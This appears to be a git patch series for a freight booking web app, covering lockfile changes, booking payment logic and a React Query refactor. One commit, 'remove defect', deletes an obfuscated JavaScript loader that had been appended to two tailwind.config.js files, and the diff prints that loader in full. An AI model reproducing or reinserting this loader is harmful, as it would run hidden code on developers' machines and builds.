sha512-DzGfTasXPmwizQP4XV2rR6r2vp8TjlOpMnJqG9Iy2i1pl1lkZdZj5rSpIc7YFGX2nS46PPgAGEyT+Q5hE2FB2g==} engines: {node: '>=0.10.0'} @@ -10490,6 +10513,12 @@ packages: '@types/react': optional: true + react-phone-number-input@3.4.17: + resolution: {integrity: sha512-1wcjhBAWHgEBAGLi5/XbeZI7Q3aEHNb2z/dHY6R2Gz70TQvu0ZoOT28NTdwtZf4lyRKXWufnTzVhLPBUD8LfmQ==} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + react-redux@9.3.0: resolution: {integrity: sha512-KQopgqFo/p/fgmAs5qz6p5RWaNAzq40WAu7fJIXnQpYxFPbJYtsJPWvGeF2rOBaY/kEuV77AVsX8TsQzKm+A/g==} peerDependencies: @@ -19678,6 +19707,8 @@ snapshots: dependencies: clsx: 2.1.1 + classnames@2.5.1: {} + cli-cursor@3.1.0: dependencies: restore-cursor: 3.1.0 @@ -19944,6 +19975,8 @@ snapshots: optionalDependencies: typescript: 5.9.3 + country-flag-icons@1.6.17: {} + crc-32@1.2.2: {} crc32-stream@4.0.3: @@ -22131,6 +22164,13 @@ snapshots: ini@4.1.1: {} + input-format@0.3.14(react-dom@19.2.6(react@19.2.6))(react@19.2.6): + dependencies: + prop-types: 15.8.1 + optionalDependencies: + react: 19.2.6 + react-dom: 19.2.6(react@19.2.6) + internal-ip@1.2.0: dependencies: meow: 3.7.0 @@ -25075,6 +25115,16 @@ snapshots: optionalDependencies: '@types/react': 18.3.31 + react-phone-number-input@3.4.17(react-dom@19.2.6(react@19.2.6))(react@19.2.6): + dependencies: + classnames: 2.5.1 + country-flag-icons: 1.6.17 + input-format: 0.3.14(react-dom@19.2.6(react@19.2.6))(react@19.2.6) + libphonenumber-js: 1.13.6 + prop-types: 15.8.1 + react: 19.2.6 + react-dom: 19.2.6(react@19.2.6) + react-redux@9.3.0(@types/react@18.3.31)(react@19.2.6)(redux@5.0.1): dependencies: '@types/use-sync-external-store': 0.0.6 From b777da4bd7d65953087c3d5ef6f0ed673872adf4 Mon Sep 17 00:00:00 2001 From: marshal Date: Mon, 22 Jun 2026 10:01:07 +0300 Subject: [PATCH 14/30] remove defect --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- apps/edr-passenger-web/portal/tailwind.config.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index fd096747e..1e0003052 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 683562ae3..efb8fd90e 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -89,4 +89,4 @@ export default { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file From 71db3a968efe4114c2d10726f5275a457d0e9fd5 Mon Sep 17 00:00:00 2001 From: ghost2023 Date: Mon, 22 Jun 2026 14:27:10 +0300 Subject: [PATCH 15/30] chore: rm junk --- WagonForm.tsx | 0 cargo-types.service.ts | 10 ---------- container-types.service.ts | 10 ---------- use-cargo-types.ts | 12 ------------ use-cargoes.ts | 0 use-container-types.ts | 12 ------------ use-wagon-types.ts | 12 ------------ wagon-type.entity.ts | 0 wagon-types.controller.ts | 0 wagon-types.repository.ts | 0 wagon-types.service.ts | 0 wagon.service.ts | 0 wagons.controller.ts | 0 13 files changed, 56 deletions(-) delete mode 100644 WagonForm.tsx delete mode 100644 cargo-types.service.ts delete mode 100644 container-types.service.ts delete mode 100644 use-cargo-types.ts delete mode 100644 use-cargoes.ts delete mode 100644 use-container-types.ts delete mode 100644 use-wagon-types.ts delete mode 100644 wagon-type.entity.ts delete mode 100644 wagon-types.controller.ts delete mode 100644 wagon-types.repository.ts delete mode 100644 wagon-types.service.ts delete mode 100644 wagon.service.ts delete mode 100644 wagons.controller.ts diff --git a/WagonForm.tsx b/WagonForm.tsx deleted file mode 100644 index e69de29bb..000000000 diff --git a/cargo-types.service.ts b/cargo-types.service.ts deleted file mode 100644 index 7e15f8e67..000000000 --- a/cargo-types.service.ts +++ /dev/null @@ -1,10 +0,0 @@ -import axios from 'axios'; - -const API_URL = import.meta.env.VITE_API_URL || 'http://localhost:3001'; - -export const cargoTypesService = { - async getCargoTypes() { - const { data } = await axios.get(`${API_URL}/api/cargo-types`); - return data; - }, -}; \ No newline at end of file diff --git a/container-types.service.ts b/container-types.service.ts deleted file mode 100644 index b636da5f2..000000000 --- a/container-types.service.ts +++ /dev/null @@ -1,10 +0,0 @@ -import axios from 'axios'; - -const API_URL = import.meta.env.VITE_API_URL || 'http://localhost:3001'; - -export const containerTypesService = { - async getContainerTypes() { - const { data } = await axios.get(`${API_URL}/api/container-types`); - return data; - }, -}; \ No newline at end of file diff --git a/use-cargo-types.ts b/use-cargo-types.ts deleted file mode 100644 index 864e9732c..000000000 --- a/use-cargo-types.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; -import { cargoTypesService } from '@/services/cargo-types.service'; - -export const CARGO_TYPES_QUERY_KEY = ['cargo-types']; - -export function useCargoTypes() { - return useQuery({ - queryKey: CARGO_TYPES_QUERY_KEY, - queryFn: () => cargoTypesService.getCargoTypes(), - staleTime: Infinity, - }); -} \ No newline at end of file diff --git a/use-cargoes.ts b/use-cargoes.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/use-container-types.ts b/use-container-types.ts deleted file mode 100644 index c216c2adf..000000000 --- a/use-container-types.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; -import { containerTypesService } from '@/services/container-types.service'; - -export const CONTAINER_TYPES_QUERY_KEY = ['container-types']; - -export function useContainerTypes() { - return useQuery({ - queryKey: CONTAINER_TYPES_QUERY_KEY, - queryFn: () => containerTypesService.getContainerTypes(), - staleTime: Infinity, - }); -} \ No newline at end of file diff --git a/use-wagon-types.ts b/use-wagon-types.ts deleted file mode 100644 index 4b8019cc9..000000000 --- a/use-wagon-types.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; -import { wagonTypesService } from '@/services/wagon-types.service'; - -export const WAGON_TYPES_QUERY_KEY = ['wagon-types']; - -export function useWagonTypes() { - return useQuery({ - queryKey: WAGON_TYPES_QUERY_KEY, - queryFn: () => wagonTypesService.getWagonTypes(), - staleTime: Infinity, - }); -} \ No newline at end of file diff --git a/wagon-type.entity.ts b/wagon-type.entity.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/wagon-types.controller.ts b/wagon-types.controller.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/wagon-types.repository.ts b/wagon-types.repository.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/wagon-types.service.ts b/wagon-types.service.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/wagon.service.ts b/wagon.service.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/wagons.controller.ts b/wagons.controller.ts deleted file mode 100644 index e69de29bb..000000000 From ff039bd4407fe70331fa436fb4c21c1ea73988c2 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 11:40:35 +0000 Subject: [PATCH 16/30] feat(bookings): update payment eligibility logic for general contracts and one-time bookings --- .../modules/train-scheduling/booking-batch.constants.ts | 3 ++- .../bookings/BookingDetailPage/ReadonlyBookingView.tsx | 9 ++++++++- .../portal/src/pages/bookings/MyBookings.tsx | 8 +++++++- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts index eda168e03..5c9cb6119 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts @@ -3,10 +3,11 @@ * Times run in EAT so the 07:00/10:00/… boundaries match the local operating clock. */ -/** Batch boundaries — every 3h from 07:00 (the 07:00–10:00 intake settles at 10:00, etc.). */ +/** Batch boundaries — every 3h from 00:00 (00–03, 03–06, … 21–24), matching the board windows. */ // export const BATCH_CRON = '0 7,10,13,16,19,22 * * *'; // export const BATCH_CRON = '*/3 * * * *'; export const BATCH_CRON = '*/5 * * * *'; +// export const BATCH_CRON = '0 */3 * * *';// export const BATCH_TIMEZONE = 'Africa/Addis_Ababa'; diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx index 4120dec7f..ca7346a83 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx @@ -50,8 +50,15 @@ export function ReadonlyBookingView({ booking }: { booking: Freight.IBooking }) }); const pricing = booking.pricingBreakdown; + // A general contract is paid once it's FULLY_EXECUTED (signed) — it never + // enters batch selection. A one-time booking can only pay once it's been + // SELECTED_FOR_BATCH (assigned a slot with a pay window). + const isGeneralContract = booking.bookingType === "GENERAL_CONTRACT"; const canPay = - status === "SELECTED_FOR_BATCH" && booking.paymentStatus !== "PAID"; + booking.paymentStatus !== "PAID" && + (isGeneralContract + ? status === "FULLY_EXECUTED" + : status === "SELECTED_FOR_BATCH"); const showCountdown = canPay && !!booking.paymentDeadline; const isExpired = status === "EXPIRED"; const isPendingConsolidation = status === "PENDING_CONSOLIDATION"; diff --git a/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx b/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx index d4d8a75ec..5d7200008 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx @@ -180,6 +180,9 @@ function PrimaryAction({ }) { const { status, id } = booking; const go = () => onNavigate(`/bookings/${id}`); + // A general contract is payable as soon as it's FULLY_EXECUTED (signed); a + // one-time booking only after it's SELECTED_FOR_BATCH. + const isGeneralContract = booking.bookingType === "GENERAL_CONTRACT"; if (status === "DRAFT") { return ( } - {cargo.status === 'LOADED' && } + {cargo.status === 'LOADED' && } + {cargo.status === 'LOADED' && } ))} diff --git a/apps/edr-freight-web/backoffice/src/components/cargoes/DeliverCargoDialog.tsx b/apps/edr-freight-web/backoffice/src/components/cargoes/DeliverCargoDialog.tsx index caa554a10..546bd0def 100644 --- a/apps/edr-freight-web/backoffice/src/components/cargoes/DeliverCargoDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/components/cargoes/DeliverCargoDialog.tsx @@ -6,7 +6,8 @@ import { Dialog, DialogContent, DialogHeader, DialogTitle, DialogTrigger } from import { Input } from '@/components/ui/input'; import { Label } from '@/components/ui/label'; import { Textarea } from '@/components/ui/textarea'; -import { useDeliverCargo } from '@/hooks/useCargoes'; +import { useMutation } from '@tanstack/react-query'; +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; /** @@ -18,7 +19,7 @@ export function DeliverCargoDialog({ cargoId, onSuccess }: { cargoId: string; on const [receiverName, setReceiverName] = useState(''); const [pickupDate, setPickupDate] = useState(''); const [deliveryRemarks, setDeliveryRemarks] = useState(''); - const deliver = useDeliverCargo(); + const deliver = useMutation(api.cargoes.deliver.mutationOptions()); const { toast } = useToast(); const handleDeliver = async () => { diff --git a/apps/edr-freight-web/backoffice/src/components/cargoes/LoadCargoDialog.tsx b/apps/edr-freight-web/backoffice/src/components/cargoes/LoadCargoDialog.tsx index 188726352..8094bd902 100644 --- a/apps/edr-freight-web/backoffice/src/components/cargoes/LoadCargoDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/components/cargoes/LoadCargoDialog.tsx @@ -3,7 +3,8 @@ import { Dialog, DialogContent, DialogHeader, DialogTitle, DialogTrigger } from import { Button } from '@/components/ui/button'; import { Input } from '@/components/ui/input'; import { Label } from '@/components/ui/label'; -import { useLoadCargo } from '@/hooks/useCargoes'; +import { useMutation } from '@tanstack/react-query'; +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; export function LoadCargoDialog({ cargoId, onSuccess }: { cargoId: string; onSuccess?: () => void }) { @@ -11,7 +12,7 @@ export function LoadCargoDialog({ cargoId, onSuccess }: { cargoId: string; onSuc const [quantity, setQuantity] = useState(0); const [weight, setWeight] = useState(0); const [volume, setVolume] = useState(); - const load = useLoadCargo(); + const load = useMutation(api.cargoes.load.mutationOptions()); const { toast } = useToast(); const handleLoad = async () => { diff --git a/apps/edr-freight-web/backoffice/src/hooks/useCargoes.ts b/apps/edr-freight-web/backoffice/src/hooks/useCargoes.ts deleted file mode 100644 index 3c1cdf517..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useCargoes.ts +++ /dev/null @@ -1,68 +0,0 @@ -import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { cargoService, type DeliverCargoPayload } from '@/services/cargoService'; - -export const cargoKeys = { - all: ['cargoes'] as const, - byContainer: (containerId: string) => [...cargoKeys.all, 'container', containerId] as const, - details: () => [...cargoKeys.all, 'detail'] as const, - detail: (id: string) => [...cargoKeys.details(), id] as const, -}; - -export function useCargoes() { - return useQuery({ queryKey: cargoKeys.all, queryFn: () => cargoService.getAll().then(res => res.data) }); -} - -export const useGetCargoes = useCargoes; - -export function useCargoesByContainer(containerId: string) { - return useQuery({ queryKey: cargoKeys.byContainer(containerId), queryFn: () => cargoService.getByContainer(containerId).then(res => res.data), enabled: !!containerId }); -} - -export function useCargo(id: string) { - return useQuery({ queryKey: cargoKeys.detail(id), queryFn: () => cargoService.getById(id).then(res => res.data), enabled: !!id }); -} - -export const useGetCargo = useCargo; - -export function useCreateCargo() { - const qc = useQueryClient(); - return useMutation({ mutationFn: cargoService.create, onSuccess: () => qc.invalidateQueries({ queryKey: cargoKeys.all }) }); -} - -export function useUpdateCargo() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ id, data }: any) => cargoService.update(id, data), onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: cargoKeys.all }); - qc.invalidateQueries({ queryKey: cargoKeys.detail(id) }); - } }); -} - -export function useDeleteCargo() { - const qc = useQueryClient(); - return useMutation({ mutationFn: cargoService.delete, onSuccess: () => qc.invalidateQueries({ queryKey: cargoKeys.all }) }); -} - -export function useLoadCargo() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, quantity, weight, volume }: any) => cargoService.load(id, quantity, weight, volume), - onSuccess: (_, { id }) => qc.invalidateQueries({ queryKey: cargoKeys.all }) - }); -} - -export function useDeliverCargo() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, payload }: { id: string; payload?: DeliverCargoPayload }) => - cargoService.deliver(id, payload), - onSuccess: () => qc.invalidateQueries({ queryKey: cargoKeys.all }) - }); -} - -export function useUnloadCargo() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (id: string) => cargoService.unload(id), - onSuccess: () => qc.invalidateQueries({ queryKey: cargoKeys.all }) - }); -} diff --git a/apps/edr-freight-web/backoffice/src/lib/queryClient.ts b/apps/edr-freight-web/backoffice/src/lib/queryClient.ts index 9ac8402d8..32b94f325 100644 --- a/apps/edr-freight-web/backoffice/src/lib/queryClient.ts +++ b/apps/edr-freight-web/backoffice/src/lib/queryClient.ts @@ -1,7 +1,29 @@ -import { QueryClient } from "@tanstack/react-query"; +import { MutationCache, QueryClient } from "@tanstack/react-query"; -/** Single app-wide React Query client (do not nest additional providers). */ +import type { InvalidatesMeta } from "@/utils/endpoint"; + +/** + * Single app-wide React Query client (do not nest additional providers). + * + * Declarative invalidation: any mutation built via `api.*.mutationOptions()` + * (see `services/api.ts` + `utils/endpoint.ts`) carries an `invalidates` + * function in its `meta`. The shared `MutationCache` below runs it on success + * and invalidates the returned query keys — so invalidation is declared once in + * the endpoint definition rather than re-wired in every component. + */ export const queryClient = new QueryClient({ + mutationCache: new MutationCache({ + onSuccess: (data, variables, _context, mutation) => { + const invalidates = mutation.meta?.invalidates as + | InvalidatesMeta + | undefined; + if (typeof invalidates !== "function") return; + + for (const queryKey of invalidates(variables, data)) { + void queryClient.invalidateQueries({ queryKey }); + } + }, + }), defaultOptions: { queries: { retry: 1, diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx index 9206372e4..538b8ff6d 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx @@ -1,5 +1,8 @@ import { FormEvent, ReactNode, useMemo, useState } from 'react'; +import { useMutation, useQuery } from '@tanstack/react-query'; import { Edit, Eye, Plus, Search, Trash2 } from 'lucide-react'; + +import { api } from '@/services/api'; import { ActionIcon, Badge as MantineBadge, @@ -42,7 +45,6 @@ import { useWagonTypes, } from '@/hooks/use-wagon-types'; import { useToast } from '@/hooks/use-toast'; -import { useCreateCargo, useDeleteCargo, useCargoes, useUpdateCargo } from '@/hooks/useCargoes'; import { useContainers, useCreateContainer, @@ -1041,7 +1043,7 @@ export function ContainersCrudPage() { } export function CargoesCrudPage() { - const query = useCargoes(); + const query = useQuery(api.cargoes.list.queryOptions()); const { data: cargoTypes = [] } = useCargoTypes(); const { data: containers = [] } = useContainers(); const cargoTypeOptions = cargoTypes.map((type: any) => ({ @@ -1059,9 +1061,9 @@ export function CargoesCrudPage() { addLabel="Add Cargo" data={query.data} isLoading={query.isLoading} - create={useCreateCargo()} - update={useUpdateCargo()} - remove={useDeleteCargo()} + create={useMutation(api.cargoes.create.mutationOptions())} + update={useMutation(api.cargoes.update.mutationOptions())} + remove={useMutation(api.cargoes.remove.mutationOptions())} searchText={(cargo) => [cargo.cargoReference, cargo.description, cargo.containerId, cargo.status].join(' ')} columns={[ { key: 'cargoReference', label: 'Reference' }, diff --git a/apps/edr-freight-web/backoffice/src/services/api.ts b/apps/edr-freight-web/backoffice/src/services/api.ts index 14bf3454b..410f68b0c 100644 --- a/apps/edr-freight-web/backoffice/src/services/api.ts +++ b/apps/edr-freight-web/backoffice/src/services/api.ts @@ -37,8 +37,724 @@ import { import type { BookingDetail } from "@/types/booking"; import type { IOverviewDashboard, OverviewRange } from "@/types/overview"; import { overviewService } from "./overview.service"; +import { + cargoService, + type Cargo, + type DeliverCargoPayload, +} from "./cargoService"; +import { warehouseService } from "./warehouse.service"; +import type { + AllocationCriteria, + AllocationPreviewResult, + AllocationRule, + ArrivalQueueItem, + AutoLoadResult, + AutoUnloadArrivedResult, + AutoUnloadResult, + BookingScheduleView, + BulkDispatchResult, + BulkInspectPayload, + BulkInspectResult, + BulkReceivePayload, + BulkReceiveResult, + DeliverInventoryPayload, + EligibleBooking, + FeePreview, + FeeRule, + ImportTrain, + ImportTrainItem, + ImportUnloadedItem, + InspectionAttachment, + InspectionReport, + InspectionReportPayload, + InventoryFilter, + InventoryInquiryFilter, + InventoryInquiryResult, + InventoryMovement, + LoadableWagon, + LoadInventoryPayload, + LoadPassedExportResult, + MoveInventoryPayload, + PayInvoicePayload, + ReadyToLoadRow, + ReceiveInventoryPayload, + ReleaseOrderPayload, + ReserveInventoryPayload, + SaveAllocationRulePayload, + SaveFeeRulePayload, + SaveWarehousePayload, + SaveYardPayload, + SaveZonePayload, + Warehouse, + WarehouseActivityLog, + WarehouseDashboard, + WarehouseFeeInvoice, + WarehouseFilter, + WarehouseInventoryItem, + WarehouseInvoiceFilter, + WarehouseLoading, + WarehouseYard, + WarehouseZone, +} from "@/types/warehouse"; + +/** Query keys for inventory-lifecycle mutations that ripple across views. */ +const INVENTORY_INVALIDATIONS: ReadonlyArray = [ + ["warehouse-inventory"], + ["warehouse-loadings"], + ["warehouses"], +]; export const api = { + warehouses: { + // ── Warehouses ───────────────────────────────────────────────────────── + list: endpoint<{ filter?: WarehouseFilter }, Warehouse[]>( + "warehouses", + "list", + ({ filter }) => warehouseService.list(filter).then((r) => r.data), + ), + + getById: endpoint<{ id: 